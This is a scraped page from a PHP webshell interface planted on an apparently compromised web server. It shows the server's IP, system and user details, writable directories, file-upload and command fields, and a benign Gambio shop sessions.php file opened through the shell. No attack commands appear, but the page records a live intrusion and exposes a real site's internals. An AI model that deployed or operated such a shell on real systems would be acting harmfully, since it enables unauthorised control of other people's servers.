403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/includes/functions/sessions.php
<?php
/* --------------------------------------------------------------
   sessions.php 2019-02-22
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2016 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on: 
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(sessions.php,v 1.16 2003/04/02); www.oscommerce.com 
   (c) 2003	 nextcommerce (sessions.php,v 1.5 2003/08/13); www.nextcommerce.org 
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: sessions.php 1195 2005-11-28 21:10:52Z mz $)

   Released under the GNU General Public License 
   --------------------------------------------------------------*/

require DIR_FS_CATALOG . 'includes/functions/gm_set_session_parameters.inc.php';

function xtc_session_start()
{
	return session_start();
}

function xtc_session_is_registered($p_variable)
{
	return isset($_SESSION[$p_variable]);
}

function xtc_session_unregister($p_variable)
{
	unset($_SESSION[$p_variable]);
}

function xtc_session_id($sessid = '')
{
    if (!empty($sessid)) {
        return session_id($sessid);
    } else {
        return session_id();
    }
}

function xtc_session_name($name = '')
{
    if (!empty($name)) {
        return session_name($name);
    } else {
        return session_name();
    }
}

function xtc_session_close()
{
    if (function_exists('session_close')) {
        return session_close();
    }
}

function xtc_session_destroy()
{
	return session_destroy();
}

function xtc_session_save_path($path = '')
{
    if (!empty($path)) {
        return session_save_path($path);
    } else {
        return session_save_path();
    }
}

function xtc_session_recreate()
{
    $session_backup = $_SESSION;
    unset($_COOKIE[xtc_session_name()]);
    xtc_session_destroy();
    xtc_session_start();
    $_SESSION = $session_backup;
    unset($session_backup);
}

Youez - 2016 - github.com/yon3zu
LinuXploit